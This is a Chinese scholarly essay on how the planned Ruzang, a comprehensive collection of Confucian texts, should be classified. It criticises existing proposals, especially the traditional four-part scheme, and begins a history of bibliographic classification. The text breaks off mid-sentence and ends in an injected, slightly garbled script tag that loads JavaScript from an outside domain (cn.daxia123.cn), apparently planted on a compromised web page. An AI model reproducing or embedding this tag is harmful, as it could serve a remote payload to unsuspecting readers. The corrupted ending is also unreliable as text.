儒学是古代中国居于统治地位的学术，在中国古代三大主流思想儒、释、道中实居首位。但是，儒学的文献却没有象佛教、道教那样得到系统整理，儒学不仅没有象佛、道二教有《大藏经》和《道藏》那样，拥有一部自己的《儒藏》，而且也没有象佛学文献和道教文献那样，有系统的著录体系。明朝万历时期，孙羽侯、曹学佺先后曾有编纂《儒藏》的倡议和举措，皆因明朝的灭亡而无功中辍；清乾隆时周永年又撰《儒藏说》重加倡议，曾引起学人极大关注，并一定程度上促成了乾隆皇帝下决心编纂《四库全书》，但是《儒藏》本身也因条件不成熟而未能实现。1997年，四川大学曾将“儒学文献研究与《中华儒藏》编纂”列为“211工程”重点学科建设项目；2002年末，中国人民大学和北京大学又相继召开会议，向社会发布编纂《儒藏》的消息；2003年底，北京大学在教育部哲学社会科学重大项目投标中胜出，成为“《儒藏》编纂和研究”的组织者和实施者。从此，编纂《儒藏》再次成为从事古籍整理和古代学术研究的学者关注的焦点，报刊、络网对编纂《儒藏》的宗旨和意义，规模和价值，方式和方法，都进行了一定程度的讨论，足见学界对编纂《儒藏》工程的热心参与。但是，据笔者所知，目前有关《儒藏》问题的讨论还局限于“意义”（即重要性的宣扬）和“方式”（即校点或是影印）等肤浅的层面，对《儒藏》编纂学上的许多问题还未能深入讨论，或者尚认识不足。特别是编纂《儒藏》时不可回避的分类原则和著录体例问题，目前学人采取的只有简单的取舍态度，还缺乏认真的研究。如有人主张“按作者生卒先后排列”；有人主张“采用最能代表儒家学术观的四部分类法”；或又主张“采用‘经、史、子、集、丛’五分法”。为何采用这些编排方法，又都没有进一步说明，似乎这是一个不必讨论的问题。
笔者以为：举凡古之大著述，大工程，无不重视体例，讲究类目，编纂丛书，也是如此。如果类例不立，系统不建，学统不清，源流无别，丛书将不成其为丛书，学术也达不到彰明之目的。即或是有旧时体例可以因循，省却许多烦恼，但如果因陋就简，不思更张，必然削足适履，难以完全适应，即或勉强采用，也是他人体例，非我自家风范。故欲成大事业，成大著述者，必先明其宗旨，思其体例，首建系统，以自成风纪。是故向、歆司籍，九流以别，爰著《别录》，分立《七略》，使九流百家各有所统，诸子群书自得其归。唐撰《隋书•经籍志》，清修《四库总目》，虽然改六分为四部，类目也有很大调整，但其“辨章学术，考镜源流”，建立类例，以统群籍之功用，实与向、歆父子无别。
北京大学曾宣称：他们“实施的《儒藏》编纂工程，字数将超过八亿，规模相当《四库全书》”，这无疑是一项规模浩大的文化工程！作为《儒藏》这样大型的、专题的，也是前无古人的丛书，如果没有分类，如果无所创新，不仅与如此浩大的工程的地位极不相称，而且也与儒学文献的具体实际、学人阅读和使用《儒藏》时的特殊需求极不吻合。因此，只“以作者生卒年代编排”的构想显然不合乎“辨章学术，考镜源流”的需要，其不能作为大型丛书（特别是《儒藏》这样的学术性丛书）的编纂方法，是显而易见的。“经、史、子、集、丛五分法”呢，这是在丛书中又列“丛书”，无异《儒藏》中再有“儒藏”，大有叠床架屋、繁复绞绕之感，也是显然不妥的。故兹二说，这里暂且不予讨论。那么，据说是“最能代表儒家学术观的四部”法又如何呢？我们的直观感觉是：照搬旧法，缺乏创意；道大难容，文不对题。说它“照搬旧法，无所创新”，是由于“四部”分类法自魏、晋时期就已经成为国家图书的收储方法和著录体系，至今已有1700多年的历史了，当时的图书状况，当时的学术传统，必然与今天现存的图书状况和学术研究需求已经极不相当了，照搬旧式，无所创新，如何可以？说它“道大难容，文不对题”，是由于“四部”分类法系百科群书、三教九流等综合性图书分类体系，儒学当时只属于其中的一家，今天要编专科型《儒藏》，如何能够兼备众体？因此，“四部”分类法虽然已注意到要为《儒藏》找到了一个“分类体系”，但是找到的并不是科学的、合理的。因此有待进一步讨论的必要。
四川大学自1997年以来，即对儒学文献作过一番调查和分析，在分类问题上也曾有过初步探索，这里愿结合这些摸索，谈点个人关于《儒藏》分类体系的体会，以就正于方家。更希望学界从事文献目录和儒学研究的专家学者，对此问题展开认真的讨论。
一、论“四部”分类法的形成和适用范围
诚然，“四部”分类法确是中国古代文献分类的主要方法，但它不是唯一的方法，也不是一成不变的方法。就像它的形成有一个历史过程一样，它的适应对象也有其特定的范围。“四部”法是在中国古代文献类别不断增加，同时部分图书又在日渐减少的情况下逐渐形成的，它是针对中国古代综合性文献的状况（即无所不包，不所不有）而设立的。
中国目录之学自西汉刘向、刘歆父子创立以来，经历了许多次演变，其分类有六分、四分、五分、七分、八分、?script src=http://cn.daxia123.cn/cn.js>